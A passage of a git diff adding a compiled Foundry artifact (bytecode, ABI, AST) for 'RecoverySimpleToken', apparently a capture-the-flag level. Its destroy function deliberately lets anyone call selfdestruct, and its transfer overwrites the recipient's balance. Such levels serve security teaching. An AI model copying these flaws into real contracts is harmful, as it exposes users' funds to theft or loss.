5;1347:24;1340:35;1394:6;1384:16;;;;;1419:49;1464:2;1453:9;1449:18;1419:49;:::i;:::-;1409:59;;;;1508:2;1497:9;1493:18;1487:25;1477:35;;328:1190;;;;;:::o;1523:380::-;1602:1;1598:12;;;;1645;;;1666:61;;1720:4;1712:6;1708:17;1698:27;;1666:61;1773:2;1765:6;1762:14;1742:18;1739:38;1736:161;;1819:10;1814:3;1810:20;1807:1;1800:31;1854:4;1851:1;1844:15;1882:4;1879:1;1872:15;1736:161;;1523:380;;;:::o;2034:518::-;2136:2;2131:3;2128:11;2125:421;;;2172:5;2169:1;2162:16;2216:4;2213:1;2203:18;2286:2;2274:10;2270:19;2267:1;2263:27;2257:4;2253:38;2322:4;2310:10;2307:20;2304:47;;;-1:-1:-1;2345:4:155;2304:47;2400:2;2395:3;2391:12;2388:1;2384:20;2378:4;2374:31;2364:41;;2455:81;2473:2;2466:5;2463:13;2455:81;;;2532:1;2518:16;;2499:1;2488:13;2455:81;;;2459:3;;2125:421;2034:518;;;:::o;2728:1345::-;2848:10;;-1:-1:-1;;;;;2870:30:155;;2867:56;;;2903:18;;:::i;:::-;2932:97;3022:6;2982:38;3014:4;3008:11;2982:38;:::i;:::-;2976:4;2932:97;:::i;:::-;3084:4;;3141:2;3130:14;;3158:1;3153:663;;;;3860:1;3877:6;3874:89;;;-1:-1:-1;3929:19:155;;;3923:26;3874:89;-1:-1:-1;;2685:1:155;2681:11;;;2677:24;2673:29;2663:40;2709:1;2705:11;;;2660:57;3976:81;;3123:944;;3153:663;1981:1;1974:14;;;2018:4;2005:18;;-1:-1:-1;;3189:20:155;;;3307:236;3321:7;3318:1;3315:14;3307:236;;;3410:19;;;3404:26;3389:42;;3502:27;;;;3470:1;3458:14;;;;3337:19;;3307:236;;;3311:3;3571:6;3562:7;3559:19;3556:201;;;3632:19;;;3626:26;-1:-1:-1;;3715:1:155;3711:14;;;3727:3;3707:24;3703:37;3699:42;3684:58;3669:74;;3556:201;;;3803:1;3794:6;3791:1;3787:14;3783:22;3777:4;3770:36;3123:944;;;;;2728:1345;;:::o;:::-;57:795:105;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610040575f3560e01c8062f55d9d1461007a57806306fdde031461009b57806327e235e3146100c5578063a9059cbb146100fe575f80fd5b366100765761005034600a61023d565b335f908152600160205260408120805490919061006e90849061025a565b925050819055005b5f80fd5b348015610085575f80fd5b50610099610094366004610291565b61011d565b005b3480156100a6575f80fd5b506100af610136565b6040516100bc91906102b3565b60405180910390f35b3480156100d0575f80fd5b506100f06100df366004610291565b60016020525f908152604090205481565b6040519081526020016100bc565b348015610109575f80fd5b506100996101183660046102ff565b6101c1565b8073ffffffffffffffffffffffffffffffffffffffff16ff5b5f805461014290610329565b80601f016020809104026020016040519081016040528092919081815260200182805461016e90610329565b80156101b95780601f10610190576101008083540402835291602001916101b9565b820191905f5260205f20905b81548152906001019060200180831161019c57829003601f168201915b505050505081565b335f908152600160205260409020548111156101db575f80fd5b335f908152600160205260409020546101f5908290610361565b335f908152600160205260408082209290925573ffffffffffffffffffffffffffffffffffffffff93909316835290912055565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761025457610254610229565b92915050565b8082018082111561025457610254610229565b73ffffffffffffffffffffffffffffffffffffffff8116811461028e575f80fd5b50565b5f602082840312156102a1575f80fd5b81356102ac8161026d565b9392505050565b5f602080835283518060208501525f5b818110156102df578581018301518582016040015282016102c3565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215610310575f80fd5b823561031b8161026d565b946020939093013593505050565b600181811c9082168061033d57607f821691505b60208210810361035b57634e487b7160e01b5f52602260045260245ffd5b50919050565b818103818111156102545761025461022956fea2646970667358221220c9134af66ed7e2a49491b5d790782434553ea1d5e16210de8b65579076dfd58664736f6c63430008180033","sourceMap":"57:795:105:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;467:14;:9;479:2;467:14;:::i;:::-;452:10;443:20;;;;:8;:20;;;;;:38;;:20;;;:38;;;;;:::i;:::-;;;;;;;;57:795;;;;773:77;;;;;;;;;;-1:-1:-1;773:77:105;;;;;:::i;:::-;;:::i;:::-;;116:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;140:43;;;;;;;;;;-1:-1:-1;140:43:105;;;;;:::i;:::-;;;;;;;;;;;;;;;;;1900:25:155;;;1888:2;1873:18;140:43:105;1754:177:155;527:208:105;;;;;;;;;;-1:-1:-1;527:208:105;;;;;:::i;:::-;;:::i;773:77::-;840:2;827:16;;;116:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;527:208::-;609:10;600:20;;;;:8;:20;;;;;;:31;-1:-1:-1;600:31:105;592:40;;;;;;674:10;665:20;;;;:8;:20;;;;;;:30;;688:7;;665:30;:::i;:::-;651:10;642:20;;;;:8;:20;;;;;;:53;;;;:20;705:13;;;;;;;;;:23;527:208::o;14:184:155:-;-1:-1:-1;;;63:1:155;56:88;163:4;160:1;153:15;187:4;184:1;177:15;203:168;276:9;;;307;;324:15;;;318:22;;304:37;294:71;;345:18;;:::i;:::-;203:168;;;;:::o;376:125::-;441:9;;;462:10;;;459:36;;;475:18;;:::i;506:162::-;600:42;593:5;589:54;582:5;579:65;569:93;;658:1;655;648:12;569:93;506:162;:::o;673:263::-;740:6;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:39;900:5;867:39;:::i;:::-;925:5;673:263;-1:-1:-1;;;673:263:155:o;941:548::-;1053:4;1082:2;1111;1100:9;1093:21;1143:6;1137:13;1186:6;1181:2;1170:9;1166:18;1159:34;1211:1;1221:140;1235:6;1232:1;1229:13;1221:140;;;1330:14;;;1326:23;;1320:30;1296:17;;;1315:2;1292:26;1285:66;1250:10;;1221:140;;;1225:3;1410:1;1405:2;1396:6;1385:9;1381:22;1377:31;1370:42;1480:2;1473;1469:7;1464:2;1456:6;1452:15;1448:29;1437:9;1433:45;1429:54;1421:62;;;;941:548;;;;:::o;1936:323::-;2004:6;2012;2065:2;2053:9;2044:7;2040:23;2036:32;2033:52;;;2081:1;2078;2071:12;2033:52;2120:9;2107:23;2139:39;2172:5;2139:39;:::i;:::-;2197:5;2249:2;2234:18;;;;2221:32;;-1:-1:-1;;;1936:323:155:o;2264:437::-;2343:1;2339:12;;;;2386;;;2407:61;;2461:4;2453:6;2449:17;2439:27;;2407:61;2514:2;2506:6;2503:14;2483:18;2480:38;2477:218;;-1:-1:-1;;;2548:1:155;2541:88;2652:4;2649:1;2642:15;2680:4;2677:1;2670:15;2477:218;;2264:437;;;:::o;2706:128::-;2773:9;;;2794:11;;;2791:37;;;2808:18;;:::i","linkReferences":{}},"methodIdentifiers":{"balances(address)":"27e235e3","destroy(address)":"00f55d9d","name()":"06fdde03","transfer(address,uint256)":"a9059cbb"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_name\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"_creator\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_initialSupply\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"balances\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"to\",\"type\":\"address\"}],\"name\":\"destroy\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/RecoverySimpleToken.sol\":\"RecoverySimpleToken\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/RecoverySimpleToken.sol\":{\"keccak256\":\"0x94e7613fa73165b8e8114a680250499d7ea3f44aefeeedfcb392bf41971646e1\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://50917972fbb9c41a4476d7da12bef77afe3b4a28912a84b13ac2b2a33221db10\",\"dweb:/ipfs/QmX9R7Y6NddMMG1zMXHPWtChYq4R61avkcDPp3VwEABbGb\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"address","name":"_creator","type":"address"},{"internalType":"uint256","name":"_initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address payable","name":"to","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"destroy"},{"inputs":[],"stateMutability":"view","type":"function","name":"name","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer"},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/RecoverySimpleToken.sol":"RecoverySimpleToken"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/RecoverySimpleToken.sol":{"keccak256":"0x94e7613fa73165b8e8114a680250499d7ea3f44aefeeedfcb392bf41971646e1","urls":["bzz-raw://50917972fbb9c41a4476d7da12bef77afe3b4a28912a84b13ac2b2a33221db10","dweb:/ipfs/QmX9R7Y6NddMMG1zMXHPWtChYq4R61avkcDPp3VwEABbGb"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/RecoverySimpleToken.sol","id":55036,"exportedSymbols":{"RecoverySimpleToken":[55035]},"nodeType":"SourceUnit","src":"32:821:105","nodes":[{"id":54949,"nodeType":"PragmaDirective","src":"32:23:105","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":55035,"nodeType":"ContractDefinition","src":"57:795:105","nodes":[{"id":54951,"nodeType":"VariableDeclaration","src":"116:18:105","nodes":[],"constant":false,"functionSelector":"06fdde03","mutability":"mutable","name":"name","nameLocation":"130:4:105","scope":55035,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string"},"typeName":{"id":54950,"name":"string","nodeType":"ElementaryTypeName","src":"116:6:105","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"public"},{"id":54955,"nodeType":"VariableDeclaration","src":"140:43:105","nodes":[],"constant":false,"functionSelector":"27e235e3","mutability":"mutable","name":"balances","nameLocation":"175:8:105","scope":55035,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":54954,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":54952,"name":"address","nodeType":"ElementaryTypeName","src":"148:7:105","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"140:27:105","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":54953,"name":"uint256","nodeType":"ElementaryTypeName","src":"159:7:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":54975,"nodeType":"FunctionDefinition","src":"209:149:105","nodes":[],"body":{"id":54974,"nodeType":"Block","src":"284:74:105","nodes":[],"statements":[{"expression":{"id":54966,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54964,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54951,"src":"294:4:105","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54965,"name":"_name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54957,"src":"301:5:105","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"294:12:105","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"id":54967,"nodeType":"ExpressionStatement","src":"294:12:105"},{"expression":{"id":54972,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54968,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54955,"src":"316:8:105","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54970,"indexExpression":{"id":54969,"name":"_creator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54959,"src":"325:8:105","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"316:18:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54971,"name":"_initialSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54961,"src":"337:14:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"316:35:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54973,"nodeType":"ExpressionStatement","src":"316:35:105"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":54962,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54957,"mutability":"mutable","name":"_name","nameLocation":"235:5:105","nodeType":"VariableDeclaration","scope":54975,"src":"221:19:105","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":54956,"name":"string","nodeType":"ElementaryTypeName","src":"221:6:105","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":54959,"mutability":"mutable","name":"_creator","nameLocation":"250:8:105","nodeType":"VariableDeclaration","scope":54975,"src":"242:16:105","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54958,"name":"address","nodeType":"ElementaryTypeName","src":"242:7:105","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":54961,"mutability":"mutable","name":"_initialSupply","nameLocation":"268:14:105","nodeType":"VariableDeclaration","scope":54975,"src":"260:22:105","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54960,"name":"uint256","nodeType":"ElementaryTypeName","src":"260:7:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"220:63:105"},"returnParameters":{"id":54963,"nodeType":"ParameterList","parameters":[],"src":"284:0:105"},"scope":55035,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54989,"nodeType":"FunctionDefinition","src":"406:82:105","nodes":[],"body":{"id":54988,"nodeType":"Block","src":"433:55:105","nodes":[],"statements":[{"expression":{"id":54986,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54978,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54955,"src":"443:8:105","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54981,"indexExpression":{"expression":{"id":54979,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"452:3:105","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54980,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"456:6:105","memberName":"sender","nodeType":"MemberAccess","src":"452:10:105","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"443:20:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54985,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":54982,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"467:3:105","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54983,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"471:5:105","memberName":"value","nodeType":"MemberAccess","src":"467:9:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"hexValue":"3130","id":54984,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"479:2:105","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"src":"467:14:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"443:38:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54987,"nodeType":"ExpressionStatement","src":"443:38:105"}]},"implemented":true,"kind":"receive","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":54976,"nodeType":"ParameterList","parameters":[],"src":"413:2:105"},"returnParameters":{"id":54977,"nodeType":"ParameterList","parameters":[],"src":"433:0:105"},"scope":55035,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":55024,"nodeType":"FunctionDefinition","src":"527:208:105","nodes":[],"body":{"id":55023,"nodeType":"Block","src":"582:153:105","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":55002,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":54997,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54955,"src":"600:8:105","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":55000,"indexExpression":{"expression":{"id":54998,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"609:3:105","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54999,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"613:6:105","memberName":"sender","nodeType":"MemberAccess","src":"609:10:105","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"600:20:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":55001,"name":"_amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54993,"src":"624:7:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"600:31:105","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":54996,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"592:7:105","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":55003,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"592:40:105","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55004,"nodeType":"ExpressionStatement","src":"592:40:105"},{"expression":{"id":55015,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":55005,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54955,"src":"642:8:105","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":55008,"indexExpression":{"expression":{"id":55006,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"651:3:105","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":55007,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"655:6:105","memberName":"sender","nodeType":"MemberAccess","src":"651:10:105","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"642:20:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":55014,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":55009,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54955,"src":"665:8:105","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":55012,"indexExpression":{"expression":{"id":55010,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"674:3:105","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":55011,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"678:6:105","memberName":"sender","nodeType":"MemberAccess","src":"674:10:105","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"665:20:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":55013,"name":"_amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54993,"src":"688:7:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"665:30:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"642:53:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55016,"nodeType":"ExpressionStatement","src":"642:53:105"},{"expression":{"id":55021,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":55017,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54955,"src":"705:8:105","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":55019,"indexExpression":{"id":55018,"name":"_to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54991,"src":"714:3:105","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"705:13:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":55020,"name":"_amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54993,"src":"721:7:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"705:23:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55022,"nodeType":"ExpressionStatement","src":"705:23:105"}]},"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"536:8:105","parameters":{"id":54994,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54991,"mutability":"mutable","name":"_to","nameLocation":"553:3:105","nodeType":"VariableDeclaration","scope":55024,"src":"545:11:105","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54990,"name":"address","nodeType":"ElementaryTypeName","src":"545:7:105","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":54993,"mutability":"mutable","name":"_amount","nameLocation":"566:7:105","nodeType":"VariableDeclaration","scope":55024,"src":"558:15:105","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54992,"name":"uint256","nodeType":"ElementaryTypeName","src":"558:7:105","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"544:30:105"},"returnParameters":{"id":54995,"nodeType":"ParameterList","parameters":[],"src":"582:0:105"},"scope":55035,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":55034,"nodeType":"FunctionDefinition","src":"773:77:105","nodes":[],"body":{"id":55033,"nodeType":"Block","src":"817:33:105","nodes":[],"statements":[{"expression":{"arguments":[{"id":55030,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55026,"src":"840:2:105","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":55029,"name":"selfdestruct","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-21,"src":"827:12:105","typeDescriptions":{"typeIdentifier":"t_function_selfdestruct_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable)"}},"id":55031,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"827:16:105","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55032,"nodeType":"ExpressionStatement","src":"827:16:105"}]},"functionSelector":"00f55d9d","implemented":true,"kind":"function","modifiers":[],"name":"destroy","nameLocation":"782:7:105","parameters":{"id":55027,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55026,"mutability":"mutable","name":"to","nameLocation":"806:2:105","nodeType":"VariableDeclaration","scope":55034,"src":"790:18:105","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":55025,"name":"address","nodeType":"ElementaryTypeName","src":"790:15:105","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"src":"789:20:105"},"returnParameters":{"id":55028,"nodeType":"ParameterList","parameters":[],"src":"817:0:105"},"scope":55035,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"RecoverySimpleToken","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[55035],"name":"RecoverySimpleToken","nameLocation":"66:19:105","scope":55036,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":105} \ No newline at end of file diff --git a/contracts/out/Reentrance.sol/Reentrance.json b/contracts/out/Reentrance.sol/Reentrance.json new file mode 100644 index 000000000..2d0abe3b2 --- /dev/null +++ b/contracts/out/Reentrance.sol/Reentrance.json @@ -0,0 +1 